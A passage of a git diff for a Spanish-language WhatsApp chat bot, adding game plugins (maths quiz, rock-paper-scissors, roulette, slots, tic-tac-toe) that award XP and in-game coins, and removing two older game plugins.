+seconds = (seconds < 10) ? '0' + seconds : seconds;
+return seconds + ' segundos ';
+}
+
+function formatNumber(num) {
+ return num.toLocaleString('en').replace(/,/g, '.');
+}
diff --git a/plugins/game-math.js b/plugins/game-math.js
new file mode 100644
index 000000000..a257cbe87
--- /dev/null
+++ b/plugins/game-math.js
@@ -0,0 +1,80 @@
+const mathGames = new Map();
+
+const dificultades = {
+ noob: { ops: ['+', '-'], min: 1, max: 10, tiempo: 15000, exp: [300, 600] },
+ easy: { ops: ['+', '-', '*'], min: 10, max: 30, tiempo: 20000, exp: [600, 1000] },
+ medium: { ops: ['+', '-', '*'], min: 30, max: 70, tiempo: 25000, exp: [1000, 1500] },
+ hard: { ops: ['+', '-', '*'], min: 70, max: 120, tiempo: 30000, exp: [1500, 2000] },
+ extreme: { ops: ['+', '-', '*', '/'], min: 100, max: 250, tiempo: 35000, exp: [2000, 3000] },
+ impossible: { ops: ['+', '-', '*', '/'], min: 200, max: 999, tiempo: 40000, exp: [3000, 5000] }
+};
+
+let handler = async (m, { conn, args, command }) => {
+const dificultad = (args[0] || '').toLowerCase();
+if (!dificultad || !dificultades[dificultad]) {
+return m.reply(`⚠️ Debes elegir una dificultad válida.
+
+Ejemplos:
+/math noob
+/math easy
+/math hard
+
+Dificultades disponibles:
+${Object.keys(dificultades).map(k => `- ${k}`).join('\n')}`);
+}
+
+const nivel = dificultades[dificultad];
+const a = Math.floor(Math.random() * (nivel.max - nivel.min + 1)) + nivel.min;
+const b = Math.floor(Math.random() * (nivel.max - nivel.min + 1)) + nivel.min;
+const op = nivel.ops[Math.floor(Math.random() * nivel.ops.length)];
+const result = op === '/' ? parseFloat((a / b).toFixed(2)) : eval(`${a}${op}${b}`);
+const recompensa = Math.floor(Math.random() * (nivel.exp[1] - nivel.exp[0] + 1)) + nivel.exp[0];
+mathGames.set(m.sender, { result, exp: recompensa, intentos: 3 });
+
+setTimeout(() => {
+if (mathGames.has(m.sender)) {
+mathGames.delete(m.sender);
+conn.reply(m.chat, `⌛ sᴇ ᴀᴄᴀʙᴏ ᴇʟ ᴛɪᴇᴍᴘᴏ ʟᴀ ʀᴇsᴘᴜᴇsᴛᴀ ᴇs: *${result}*`, m);
+}}, nivel.tiempo);
+return m.reply(`╭┄〔 *${info.wm}* 〕┄⊱
+┆𝘾𝙪𝙖𝙡 𝙚𝙨 𝙧𝙚𝙨𝙪𝙡𝙩𝙖𝙙𝙤 𝙙𝙚: *${a} ${op} ${b} = ?*
+┆┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈
+┆🧭 𝙏𝙞𝙚𝙢𝙥𝙤: * ${nivel.tiempo / 1000} segundos*
+┆┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈
+┆𝙍𝙚𝙨𝙥𝙤𝙣𝙙𝙚 𝙖 𝙚𝙨𝙩𝙚 𝙢𝙚𝙣𝙨𝙖𝙟𝙚 𝙮 𝙂𝙖𝙣𝙖
+┆🏆 *${recompensa}: XP*
+╰━━━⊰ 𓃠 ${info.vs} ⊱━━━━დ`);
+};
+
+handler.before = async (m, { conn }) => {
+if (!mathGames.has(m.sender)) return;
+const data = mathGames.get(m.sender);
+const { result, exp, intentos } = data;
+const entrada = m.originalText.trim();
+let correcta = false;
+if (String(result).includes('.') || entrada.includes('.')) {
+correcta = parseFloat(entrada).toFixed(2) === result.toFixed(2);
+} else {
+correcta = Number(entrada) === result;
+}
+
+if (correcta) {
+mathGames.delete(m.sender);
+await m.db.query('UPDATE usuarios SET exp = exp + $1 WHERE id = $2', [exp, m.sender]);
+return m.reply(`✅ ¡Correcto! Ganaste *${exp} XP*`);
+} else {
+data.intentos--;
+if (data.intentos <= 0) {
+mathGames.delete(m.sender);
+return m.reply(`❌ Fallaste 3 veces. La respuesta correcta era *${result}*.`);
+} else {
+mathGames.set(m.sender, data);
+return m.reply(`❌ Incorrecto. Te quedan *${data.intentos}* intento(s).`);
+}}
+};
+handler.help = ['math [dificultad]'];
+handler.tags = ['game'];
+handler.command = ['math', 'mates', 'matemáticas'];
+handler.register = true;
+
+export default handler;
diff --git a/plugins/game-pista.js b/plugins/game-pista.js
deleted file mode 100644
index e91fede9f..000000000
--- a/plugins/game-pista.js
+++ /dev/null
@@ -1,13 +0,0 @@
-/* Created by https://github.com/unptoadrih15 */
-
-let handler = async (m, { conn }) => {
-conn.tebaklagu = conn.tebaklagu ? conn.tebaklagu : {}
-let id = m.chat
-if (!(id in conn.tebaklagu)) throw false
-let json = conn.tebaklagu[id][1]
-let nya = json.jawaban
-let nyanya = nya.replace(/[bcdfghjklmnñpqrstvwxyzBCDEFGHJKLMNÑPQRSTVWXYZ]/g, '_')
-m.reply('' + nyanya + '')
-}
-handler.command = /^hint|pista$/i
-export default handler
diff --git a/plugins/game-ppt.js b/plugins/game-ppt.js
new file mode 100644
index 000000000..a86b61c57
--- /dev/null
+++ b/plugins/game-ppt.js
@@ -0,0 +1,141 @@
+const cooldown = 30_000;
+const retos = new Map();
+const jugadas = new Map();
+const cooldowns = new Map();
+const jugadasValidas = ['piedra', 'papel', 'tijera'];
+
+let handler = async (m, { conn, args, usedPrefix, command }) => {
+const now = Date.now();
+const userId = m.sender;
+const cooldownRestante = (cooldowns.get(userId) || 0) + cooldown - now;
+if (cooldownRestante > 0) return conn.fakeReply(m.chat, `*🕓 𝙃𝙚𝙮, 𝙀𝙨𝙥𝙚𝙧𝙖 ${msToTime(cooldownRestante)} 𝙖𝙣𝙩𝙚𝙨 𝙙𝙚 𝙪𝙨𝙖𝙧 𝙤𝙩𝙧𝙤𝙨 𝙘𝙤𝙢𝙖𝙣𝙙𝙤*`, m.sender, `ᴺᵒ ʰᵃᵍᵃⁿ ˢᵖᵃᵐ`, 'status@broadcast');
+
+const res = await m.db.query('SELECT exp FROM usuarios WHERE id = $1', [userId]);
+const user = res.rows[0];;
+const opponent = m.mentionedJid?.[0];
+const input = args[0]?.toLowerCase();
+
+if (!opponent && jugadasValidas.includes(input)) {
+cooldowns.set(userId, now);
+const botJugada = jugadasValidas[Math.floor(Math.random() * 3)];
+const resultado = evaluar(input, botJugada);
+const xp = Math.floor(Math.random() * 2000) + 500;
+
+let text = '';
+let result = "";
+if (resultado === 'gana') {
+await m.db.query('UPDATE usuarios SET exp = exp + $1 WHERE id = $2', [xp, userId]);
+text += `✅ *Ganaste* y obtuviste *${formatNumber(xp)} XP*`;
+result = '𝙃𝘼 𝙂𝘼𝙉𝘼𝘿𝙊! 🎉';
+} else if (resultado === 'pierde') {
+const nuevaXP = Math.max(0, user.exp - xp);
+await m.db.query('UPDATE usuarios SET exp = $1 WHERE id = $2', [nuevaXP, userId]);
+text += `❌ *Perdiste*. Te quitaron *${formatNumber(xp)} XP*`;
+result = '𝙃𝘼 𝙋𝙀𝙍𝘿𝙄𝘿𝙊! 🤡';
+} else {
+result = '𝙀𝙈𝙋𝘼𝙏𝙀 🤝';
+text += `🤝 *Empate*. No ganaste ni perdiste XP.`;
+}
+
+return m.reply(`\`「 ${result} 」\`\n\n👉 El Bot: ${botJugada}\n👉 Tú: ${input}\n` + text);
+}
+
+if (opponent) {
+if (retos.has(opponent)) return m.reply('⚠️ Ese usuario ya tiene un reto pendiente.');
+retos.set(opponent, {
+retador: userId,
+chat: m.chat,
+timeout: setTimeout(() => {
+retos.delete(opponent);
+conn.reply(m.chat, `⏳ 𝙏𝙄𝙀𝙈𝙋𝙊 𝘼𝙂𝙊𝙏𝘼𝘿𝙊, 𝙀𝙇 𝙋𝙑𝙋 𝙎𝙀 𝘾𝘼𝙉𝘾𝙀𝙇𝘼 𝙋𝙊𝙍 𝙁𝘼𝙇𝙏𝘼 𝘿𝙀 𝙍𝙀𝙎𝙋𝙐𝙀𝙎𝙏𝘼 𝘿𝙀 ${opponent.split('@')[0]}`, m, { mentions: [opponent] });
+}, 60000)
+});
+
+return conn.reply(m.chat, `🎮👾 𝙋𝙑𝙋 - 𝙋𝙄𝙀𝘿𝙍𝘼, 𝙋𝘼𝙋𝙀𝙇 𝙊 𝙏𝙄𝙅𝙀𝙍𝘼 👾🎮\n\n@${m.sender.split`@`[0]} 𝘿𝙀𝙎𝘼𝙁𝙄𝘼 𝘼 @${opponent.split('@')[0]}.\n\n> _*Escribe (aceptar) para aceptar*_\n> _*Escribe (rechazar) para rechazar*_`, m, { mentions: [opponent] });
+}
+
+m.reply(`𝐏𝐢𝐞𝐝𝐫𝐚 🗿, 𝐏𝐚𝐩𝐞𝐥 📄 𝐨 𝐓𝐢𝐣𝐞𝐫𝐚 ✂️\n\n👾 𝙅𝙪𝙜𝙖𝙧 𝙘𝙤𝙣 𝙚𝙡 𝙗𝙤𝙩:\n• ${usedPrefix + command} piedra\n• ${usedPrefix + command} papel\n• ${usedPrefix + command} tijera\n\n🕹 𝙅𝙪𝙜𝙖𝙧 𝙘𝙤𝙣 𝙪𝙣 𝙪𝙨𝙪𝙖𝙧𝙞𝙤:\n${usedPrefix + command} @0`);
+};
+
+handler.before = async (m, { conn }) => {
+const text = m.originalText?.toLowerCase();
+const userId = m.sender;
+if (['aceptar', 'rechazar'].includes(text) && retos.has(userId)) {
+const { retador, chat, timeout } = retos.get(userId);
+clearTimeout(timeout);
+retos.delete(userId);
+
+if (text === 'rechazar') {
+return conn.reply(chat, `⚠️ @${userId.split('@')[0]} rechazó el reto.`, m, { mentions: [userId, retador] });
+}
+
+jugadas.set(chat, {
+jugadores: [retador, userId],
+eleccion: {},
+timeout: setTimeout(() => {
+jugadas.delete(chat);
+conn.reply(chat, `⏰ El duelo expiró por inactividad.`, m);
+}, 60000)
+});
+
+conn.reply(chat, `✅ Reto aceptado. Las opciones serán enviadas por privado a @${retador.split('@')[0]} y @${userId.split('@')[0]}.`, m, { mentions: [retador, userId] });
+
+await conn.sendMessage(retador, { text: '✊🖐✌️ Escribe *piedra*, *papel* o *tijera* para elegir tu jugada.' });
+await conn.sendMessage(userId, { text: '✊🖐✌️ Escribe *piedra*, *papel* o *tijera* para elegir tu jugada.' });
+return;
+}
+
+if (jugadasValidas.includes(text)) {
+for (const [chat, partida] of jugadas) {
+const { jugadores, eleccion, timeout } = partida;
+if (!jugadores.includes(userId)) continue;
+
+eleccion[userId] = text;
+await conn.sendMessage(userId, { text: '✅ Elección recibida. Vuelve al grupo y espera el resultado.' });
+
+if (Object.keys(eleccion).length < 2) return;
+clearTimeout(timeout);
+jugadas.delete(chat);
+
+const [j1, j2] = jugadores;
+const jugada1 = eleccion[j1];
+const jugada2 = eleccion[j2];
+const resultado = evaluar(jugada1, jugada2);
+const xp = Math.floor(Math.random() * 2000) + 500;
+let mensaje = `✊🖐✌️ *Piedra, Papel o Tijera*\n\n@${j1.split('@')[0]} eligió: *${jugada1}*\n@${j2.split('@')[0]} eligió: *${jugada2}*\n\n`;
+
+if (resultado === 'empate') {
+mensaje += '🤝 ¡Empate! Nadie gana ni pierde XP.';
+} else {
+const ganador = resultado === 'gana' ? j1 : j2;
+const perdedor = ganador === j1 ? j2 : j1;
+await m.db.query('UPDATE usuarios SET exp = exp + $1 WHERE id = $2', [xp * 2, ganador]);
+await m.db.query('UPDATE usuarios SET exp = exp - $1 WHERE id = $2', [xp, perdedor]);
+mensaje += `🎉 @${ganador.split('@')[0]} gana *${formatNumber(xp * 2)} XP*\n💀 @${perdedor.split('@')[0]} pierde *${formatNumber(xp)} XP*`;
+}
+
+return conn.sendMessage(chat, { text: mensaje, mentions: [j1, j2] });
+}}
+};
+handler.help = ['ppt piedra|papel|tijera', 'ppt @usuario'];
+handler.tags = ['game'];
+handler.command = ['ppt', 'suit', 'pvp', 'suitpvp'];
+handler.register = true;
+
+export default handler;
+
+function evaluar(a, b) {
+ if (a === b) return 'empate';
+ if ((a === 'piedra' && b === 'tijera') || (a === 'tijera' && b === 'papel') || (a === 'papel' && b === 'piedra')) return 'gana';
+ return 'pierde';
+}
+
+function formatNumber(n) {
+ return n.toLocaleString('en').replace(/,/g, '.');
+}
+
+function msToTime(ms) {
+ const s = Math.floor(ms / 1000) % 60;
+ const m = Math.floor(ms / 60000) % 60;
+ return `${m ? `${m}m ` : ''}${s}s`;
+}
diff --git a/plugins/game-rt.js b/plugins/game-rt.js
new file mode 100644
index 000000000..6d37e8d3b
--- /dev/null
+++ b/plugins/game-rt.js
@@ -0,0 +1,54 @@
+const handler = async (m, { conn, args, command, usedPrefix }) => {
+const cooldown = 30_000;
+const now = Date.now();
+const res = await m.db.query('SELECT exp, wait FROM usuarios WHERE id = $1', [m.sender]);
+const user = res.rows[0];
+const lastWait = Number(user?.wait) || 0;
+const remaining = lastWait + cooldown - now;
+
+if (remaining > 0) return conn.fakeReply(m.chat, `*🕓 Calma crack 🤚, Espera ${msToTime(remaining)} antes de volver a usar el comando*`, m.sender, `ᴺᵒ ʰᵃᵍᵃⁿ ˢᵖᵃᵐ`, 'status@broadcast');
+if (args.length < 2) return conn.reply(m.chat, `⚠️ Formato incorrecto. Usa: ${usedPrefix + command} \n\nEjemplo: ${usedPrefix + command} black 100`, m);
+const color = args[0].toLowerCase();
+const betAmount = parseInt(args[1]);
+if (!['red', 'black', 'green'].includes(color)) return conn.reply(m.chat, '🎯 Color no válido. Usa: "red", "black" o "green".', m);
+if (isNaN(betAmount) || betAmount <= 0) return conn.reply(m.chat, '❌ La cantidad debe ser un número positivo.', m);
+if (user.exp < betAmount) return conn.reply(m.chat, `❌ No tienes suficiente XP para apostar. Tienes *${formatExp(user.exp)} XP*`, m);
+
+const resultColor = getRandomColor();
+const isWin = resultColor === color;
+let winAmount = 0;
+
+if (isWin) {
+winAmount = color === 'green' ? betAmount * 14 : betAmount * 2;
+}
+
+const newExp = user.exp - betAmount + winAmount;
+await m.db.query(`UPDATE usuarios SET exp = $1, wait = $2 WHERE id = $3`, [newExp, now, m.sender]);
+return conn.reply(m.chat, `😱 La ruleta cayó en *${resultColor}*\n${isWin ? `🎉 ¡Ganaste *${formatExp(winAmount)} XP*!` : `💀 Perdiste *${formatExp(betAmount)} XP*`}`, m);
+};
+handler.help = ['rt '];
+handler.tags = ['game'];
+handler.command = ['rt'];
+handler.register = true;
+
+export default handler;
+
+function getRandomColor() {
+ const random = Math.random() * 100;
+ if (random < 47.5) return 'red';
+ if (random < 95) return 'black';
+ return 'green';
+}
+
+function formatExp(amount) {
+ if (amount >= 1000) return `${(amount / 1000).toFixed(1)}k (${amount.toLocaleString()})`;
+ return amount.toLocaleString();
+}
+
+function msToTime(duration) {
+ if (isNaN(duration) || duration <= 0) return '0s';
+ const totalSeconds = Math.floor(duration / 1000);
+ const minutes = Math.floor(totalSeconds / 60);
+ const seconds = totalSeconds % 60;
+ return `${minutes > 0 ? minutes + 'm ' : ''}${seconds}s`;
+}
diff --git a/plugins/game-slot.js b/plugins/game-slot.js
new file mode 100644
index 000000000..1d504e93d
--- /dev/null
+++ b/plugins/game-slot.js
@@ -0,0 +1,108 @@
+const handler = async (m, { conn, args }) => {
+const cooldown = 30_000;
+const now = Date.now();
+
+const res = await m.db.query('SELECT exp, money, limite, wait FROM usuarios WHERE id = $1', [m.sender]);
+const user = res.rows[0];
+
+const last = Number(user?.wait) || 0;
+const remaining = last + cooldown - now;
+if (remaining > 0) return conn.reply(m.chat, `🕓 Calma crack, espera *${msToTime(remaining)}* antes de volver a jugar.`, m);
+
+const tipoArg = (args[0] || '').toLowerCase();
+const tipo = tipoArg === 'xp' ? 'exp' : tipoArg;
+const cantidad = parseInt(args[1]);
+
+if (!['exp', 'money', 'limite'].includes(tipo)) return m.reply(`⚠️ Usa correctamente: /slot \nEjemplo: /slot xp 500`);
+if (!cantidad || isNaN(cantidad) || cantidad < 10) return m.reply(`❌ Mínimo 10 para apostar.`);
+
+const saldo = user[tipo];
+if (saldo < cantidad) return m.reply(`❌ No tienes suficiente ${tipo.toUpperCase()} para apostar. Tienes *${formatNumber(saldo)}*`);
+
+const emojis = ['💎', '⚡', '🪙', '🧿', '💣', '🔮'];
+let final;
+const msg = await conn.sendMessage(m.chat, { text: renderRandom(emojis) }, { quoted: m });
+
+for (let i = 0; i < 6; i++) {
+await delay(300);
+if (i < 5) {
+await conn.sendMessage(m.chat, { text: renderRandom(emojis), edit: msg.key });
+} else {
+final = [
+[rand(emojis), rand(emojis), rand(emojis)],
+[rand(emojis), rand(emojis), rand(emojis)],
+[rand(emojis), rand(emojis), rand(emojis)],
+];
+await conn.sendMessage(m.chat, { text: render(final), edit: msg.key });
+}}
+const resultado = evaluarLinea(final[1]);
+let ganancia = 0;
+let textoFinal = '';
+
+if (resultado === 'triple') {
+ganancia = cantidad * 3;
+textoFinal = `🎉 ¡Triple! Ganaste *${formatNumber(ganancia)} ${tipoBonito(tipo)}*`;
+} else if (resultado === 'doble') {
+ganancia = cantidad;
+textoFinal = `😏 Dos iguales. Recuperaste *${formatNumber(ganancia)} ${tipoBonito(tipo)}*`;
+} else {
+ganancia = -cantidad;
+textoFinal = `💀 Mala suerte. Perdiste *${formatNumber(cantidad)} ${tipoBonito(tipo)}*`;
+}
+
+const nuevoSaldo = saldo + ganancia;
+ await m.db.query(`UPDATE usuarios SET ${tipo} = $1, wait = $2 WHERE id = $3`, [nuevoSaldo, now, m.sender]);
+await delay(600);
+await conn.sendMessage(m.chat, { text: render(final) + `\n\n${textoFinal}`, edit: msg.key });
+};
+handler.command = ['slot'];
+handler.help = ['slot '];
+handler.tags = ['game'];
+handler.register = true;
+
+export default handler;
+
+function rand(arr) {
+ return arr[Math.floor(Math.random() * arr.length)];
+}
+
+function render(matriz) {
+ return `🎰 | *SLOTS* | 🎰\n────────────\n${matriz.map(row => row.join(' | ')).join('\n')}\n────────────`;
+}
+
+function renderRandom(emojis) {
+ const temp = [
+ [rand(emojis), rand(emojis), rand(emojis)],
+ [rand(emojis), rand(emojis), rand(emojis)],
+ [rand(emojis), rand(emojis), rand(emojis)],
+ ];
+ return render(temp);
+}
+
+function evaluarLinea(arr) {
+ const [a, b, c] = arr;
+ if (a === b && b === c) return 'triple';
+ if (a === b || b === c || a === c) return 'doble';
+ return 'nada';
+}
+
+function delay(ms) {
+ return new Promise(res => setTimeout(res, ms));
+}
+
+function formatNumber(num) {
+ return num.toLocaleString('en').replace(/,/g, '.');
+}
+
+function msToTime(duration) {
+ const s = Math.floor(duration / 1000) % 60;
+ const m = Math.floor(duration / (1000 * 60)) % 60;
+ return `${m ? `${m}m ` : ''}${s}s`;
+}
+
+function tipoBonito(tipo) {
+ if (tipo === 'money') return 'LoliCoins';
+ if (tipo === 'limite') return 'Diamantes';
+ return 'XP';
+}
+
diff --git a/plugins/game-suitpvp.js b/plugins/game-suitpvp.js
deleted file mode 100644
index 6cc6e3606..000000000
--- a/plugins/game-suitpvp.js
+++ /dev/null
@@ -1,83 +0,0 @@
-let handler = m => m
-handler.before = async function (m) {
-let pp = 'https://telegra.ph/file/c7924bf0e0d839290cc51.jpg'
-let fkontak = { "key": { "participants":"0@s.whatsapp.net", "remoteJid": "status@broadcast", "fromMe": false, "id": "Halo" }, "message": { "contactMessage": { "vcard": `BEGIN:VCARD\nVERSION:3.0\nN:Sy;Bot;;;\nFN:y\nitem1.TEL;waid=${m.sender.split('@')[0]}:${m.sender.split('@')[0]}\nitem1.X-ABLabel:Ponsel\nEND:VCARD` }}, "participant": "0@s.whatsapp.net" }
-this.suit = this.suit ? this.suit : {}
-if (db.data.users[m.sender].suit < 0) db.data.users[m.sender].suit = 0
-let room = Object.values(this.suit).find(room => room.id && room.status && [room.p, room.p2].includes(m.sender))
-if (room) {
-let win = ''
-let tie = false
-if (m.sender == room.p2 && /^(acc(ept)?|Aceptar|acerta|aceptar|gas|aceptare?|nao|Rechazar|rechazar|ga(k.)?bisa)/i.test(m.text) && m.isGroup && room.status == 'wait') {
-if (/^(tolak|gamau|rechazar|ga(k.)?bisa)/i.test(m.text)) {
-let textno = `${lenguajeGB['smsAvisoAG']()} @${room.p2.split`@`[0]} 𝙍𝙀𝘾𝙃𝘼𝙕𝙊 𝙀𝙇 𝙋𝙑𝙋, 𝙀𝙇 𝙅𝙐𝙀𝙂𝙊 𝙎𝙀 𝘾𝘼𝙉𝘾𝙀𝙇𝘼`
-m.reply(textno, null, {mentions: this.parseMention(textno)})
-delete this.suit[room.id]
-return !0 }
-room.status = 'play'
-room.asal = m.chat
-clearTimeout(room.waktu)
-let textplay = `${lenguajeGB['smsAvisoIIG']()}🎮 𝙀𝙇 𝙅𝙐𝙀𝙂𝙊𝙎 𝘾𝙊𝙈𝙄𝙀𝙉𝙕𝘼, 𝙇𝘼𝙎 𝙊𝙋𝘾𝙄𝙊𝙉𝙀𝙎 𝙃𝘼𝙉 𝙎𝙄𝘿𝙊 𝙀𝙉𝙑𝙄𝘼𝘿𝙊𝙎 𝘼 𝙇𝙊𝙎 𝘾𝙃𝘼𝙏 𝙋𝙍𝙄𝙑𝘼𝘿𝙊 𝘿𝙀 @${room.p.split`@`[0]} 𝙔 @${room.p2.split`@`[0]}\n\n𝙎𝙀𝙇𝙀𝘾𝘾𝙄𝙊𝙉𝙀𝙉 𝙐𝙉𝘼 𝙊𝙋𝘾𝙄𝙊𝙉 𝙀𝙉 𝙎𝙐𝙎 𝘾𝙃𝘼𝙏𝙎 𝙋𝙍𝙄𝙑𝘼𝘿𝙊 𝙍𝙀𝙎𝙋𝙀𝘾𝙏𝙄𝙑𝘼𝙈𝙀𝙉𝙏𝙀\n\n*Elegir opción en wa.me/${conn.user.jid.split`@`[0]}*`
-m.reply(textplay, m.chat, {mentions: this.parseMention(textplay)})
-let comienzop = `${lenguajeGB['smsAvisoIIG']()}𝙋𝙊𝙍 𝙁𝘼𝙑𝙊𝙍 𝙎𝙀𝙇𝙀𝘾𝘾𝙄𝙊𝙉𝙀 𝙐𝙉𝘼 𝘿𝙀 𝙇𝘼𝙎 𝙎𝙄𝙂𝙐𝙄𝙀𝙉𝙏𝙀𝙎 𝙊𝙋𝘾𝙄𝙊𝙉𝙀𝙎\n\nღ Piedra\nდ Papel\nღ Tijera\n\n*Responda al mensaje con la opción*`
-let comienzop2 = `${lenguajeGB['smsAvisoIIG']()}𝙋𝙊𝙍 𝙁𝘼𝙑𝙊𝙍 𝙎𝙀𝙇𝙀𝘾𝘾𝙄𝙊𝙉𝙀 𝙐𝙉𝘼 𝘿𝙀 𝙇𝘼𝙎 𝙎𝙄𝙂𝙐𝙄𝙀𝙉𝙏𝙀𝙎 𝙊𝙋𝘾𝙄𝙊𝙉𝙀𝙎\n\nღ Piedra\nღ Papel\nღ Tijera\n\n*Responda al mensaje con la opción*`
-
-if (!room.pilih) this.sendMessage(room.p, { text: comienzop }, { quoted: fkontak })
-if (!room.pilih2) this.sendMessage(room.p2, { text: comienzop2 }, { quoted: fkontak })
-room.waktu_milih = setTimeout(() => {
-let iniciativa = `${lenguajeGB['smsAvisoAG']()}𝙉𝙄𝙉𝙂𝙐𝙉 𝙅𝙐𝙂𝘼𝘿𝙊𝙍 𝙏𝙊𝙈𝙊 𝙇𝘼 𝙄𝙉𝙄𝘾𝙄𝘼𝙏𝙄𝙑𝘼 𝘿𝙀 𝙀𝙈𝙋𝙀𝙕𝘼𝙍 𝙀𝙇 𝙅𝙐𝙀𝙂𝙊𝙎, 𝙀𝙇 𝙋𝙑𝙋 𝙎𝙀 𝘼𝙃 𝘾𝘼𝙉𝘾𝙀𝙇𝘼𝘿𝙊`
-if (!room.pilih && !room.pilih2) this.sendMessage(m.chat, { text: iniciativa }, { quoted: fkontak })
-else if (!room.pilih || !room.pilih2) {
-win = !room.pilih ? room.p2 : room.p
-let textnull = `${lenguajeGB['smsAvisoAG']()} @${(room.pilih ? room.p2 : room.p).split`@`[0]} 𝙉𝙊 𝙀𝙇𝙀𝙂𝙄𝙎𝙏𝙀 𝙉𝙄𝙉𝙂𝙐𝙉𝘼 𝙊𝙋𝘾𝙄𝙊𝙉, 𝙁𝙄𝙉 𝘿𝙀𝙇 𝙋𝙑𝙋`
-this.sendMessage(m.chat, { text: textnull }, { quoted: fkontak }, { mentions: this.parseMention(textnull) })
-db.data.users[win == room.p ? room.p : room.p2].exp += room.poin
-db.data.users[win == room.p ? room.p : room.p2].exp += room.poin_bot
-db.data.users[win == room.p ? room.p2 : room.p].exp -= room.poin_lose
-}
-delete this.suit[room.id]
-return !0
-}, room.timeout)}
-let jwb = m.sender == room.p
-let jwb2 = m.sender == room.p2
-let g = /tijera/i
-let b = /piedra/i
-let k = /papel/i
-let reg = /^(tijera|piedra|papel)/i
-if (jwb && reg.test(m.text) && !room.pilih && !m.isGroup) {
-room.pilih = reg.exec(m.text.toLowerCase())[0]
-room.text = m.text
-m.reply(`✅ 𝙃𝘼𝙎 𝙀𝙇𝙀𝙂𝙄𝘿𝙊 ${m.text}, 𝙍𝙀𝙂𝙍𝙀𝙎𝘼 𝘼𝙇 𝙂𝙍𝙐𝙋𝙊 𝙔 ${room.pilih2 ? `*𝙍𝙀𝙑𝙄𝙎𝘼 𝙇𝙊𝙎 𝙍𝙀𝙎𝙐𝙇𝙏𝘼𝘿𝙊𝙎*` : '*𝙀𝙎𝙋𝙀𝙍𝘼 𝙇𝙊𝙎 𝙍𝙀𝙎𝙐𝙇𝙏𝘼𝘿𝙊𝙎*'}`)
-if (!room.pilih2) this.reply(room.p2, `${lenguajeGB['smsAvisoIIG']()}𝙀𝙇 𝙊𝙋𝙊𝙉𝙀𝙉𝙏𝙀 𝘼𝙃 𝙀𝙇𝙀𝙂𝙄𝘿𝙊, 𝙀𝙎 𝙏𝙐 𝙏𝙐𝙍𝙉𝙊 𝘿𝙀 𝙀𝙇𝙀𝙂𝙄𝙍`, fkontak, 0)}
-if (jwb2 && reg.test(m.text) && !room.pilih2 && !m.isGroup) {
-room.pilih2 = reg.exec(m.text.toLowerCase())[0]
-room.text2 = m.text
-m.reply(`✅ 𝙃𝘼𝙎 𝙀𝙇𝙀𝙂𝙄𝘿𝙊 ${m.text}, 𝙍𝙀𝙂𝙍𝙀𝙎𝘼 𝘼𝙇 𝙂𝙍𝙐𝙋𝙊 𝙔 ${room.pilih ? `*𝙍𝙀𝙑𝙄𝙎𝘼 𝙇𝙊𝙎 𝙍𝙀𝙎𝙐𝙇𝙏𝘼𝘿𝙊𝙎*` : '*𝙀𝙎𝙋𝙀𝙍𝘼 𝙇𝙊𝙎 𝙍𝙀𝙎𝙐𝙇𝙏𝘼𝘿𝙊𝙎*'}`)
-if (!room.pilih) this.reply(room.p, `${lenguajeGB['smsAvisoIIG']()}𝙀𝙇 𝙊𝙋𝙊𝙉𝙀𝙉𝙏𝙀 𝘼𝙃 𝙀𝙇𝙀𝙂𝙄𝘿𝙊, 𝙀𝙎 𝙏𝙐 𝙏𝙐𝙍𝙉𝙊 𝘿𝙀 𝙀𝙇𝙀𝙂𝙄𝙍`, fkontak, 0)}
-let stage = room.pilih
-let stage2 = room.pilih2
-if (room.pilih && room.pilih2) {
-clearTimeout(room.waktu_milih)
-if (b.test(stage) && g.test(stage2)) win = room.p
-else if (b.test(stage) && k.test(stage2)) win = room.p2
-else if (g.test(stage) && k.test(stage2)) win = room.p
-else if (g.test(stage) && b.test(stage2)) win = room.p2
-else if (k.test(stage) && b.test(stage2)) win = room.p
-else if (k.test(stage) && g.test(stage2)) win = room.p2
-else if (stage == stage2) tie = true
-
-this.reply(room.asal, `🥳 𝙍𝙀𝙎𝙐𝙇𝙏𝘼𝘿𝙊𝙎 𝘿𝙀𝙇 𝙋𝙑𝙋\n\n${tie ? '🥴 𝙀𝙈𝙋𝘼𝙏𝙀!!' : ''} *@${room.p.split`@`[0]} (${room.text})* ${tie ? '' : room.p == win ? ` *𝙂𝘼𝙉𝘼𝙍𝙏𝙀 🥳 ${room.poin} XP*` : ` *𝙋𝙀𝙍𝘿𝙄𝙊́ 🤡 ${room.poin_lose} XP*`}
-*@${room.p2.split`@`[0]} (${room.text2})* ${tie ? '' : room.p2 == win ? `*𝙂𝘼𝙉𝘼𝙍𝙏𝙀 🥳 ${room.poin} XP*` : ` *𝙋𝙀𝙍𝘿𝙄𝙊́ 🤡 ${room.poin_lose} XP*`}
-`.trim(), m, { mentions: [room.p, room.p2] } )
-if (!tie) {
-db.data.users[win == room.p ? room.p : room.p2].exp += room.poin
-db.data.users[win == room.p ? room.p : room.p2].exp += room.poin_bot
-db.data.users[win == room.p ? room.p2 : room.p].exp += room.poin_lose
-}
-delete this.suit[room.id]}}
-return !0
-}
-handler.exp = 0
-export default handler
-function random(arr) {
-return arr[Math.floor(Math.random() * arr.length)]}
diff --git a/plugins/game-ttt.js b/plugins/game-ttt.js
new file mode 100644
index 000000000..6123f197b
--- /dev/null
+++ b/plugins/game-ttt.js
@@ -0,0 +1,146 @@
+const salasTTT = new Map();
+const symbols = ['❌', '⭕'];
+const numerosEmoji = ['1️⃣','2️⃣','3️⃣','4️⃣','5️⃣','6️⃣','7️⃣','8️⃣','9️⃣'];
+
+function renderTablero(tablero) {
+ return `
+ ${tablero.slice(0,3).join('')}
+ ${tablero.slice(3,6).join('')}
+ ${tablero.slice(6).join('')}`;
+}
+
+function verificarGanador(tablero) {
+ const combinaciones = [
+ [0,1,2], [3,4,5], [6,7,8],
+ [0,3,6], [1,4,7], [2,5,8],
+ [0,4,8], [2,4,6]
+ ];
+ for (const [a, b, c] of combinaciones) {
+ if (tablero[a] === tablero[b] && tablero[b] === tablero[c]) {
+ return tablero[a];
+ }
+ }
+ return tablero.every(x => x === '❌' || x === '⭕') ? 'empate' : null;
+}
+
+async function enviarEstado(conn, sala, textoExtra = '') {
+ const [j1, j2] = sala.jugadores;
+ const simboloJ1 = symbols[0];
+ const simboloJ2 = symbols[1];
+
+ const msg = `💖 𝙅𝙪𝙚𝙜𝙤 𝙩𝙖𝙩𝙚𝙩𝙞
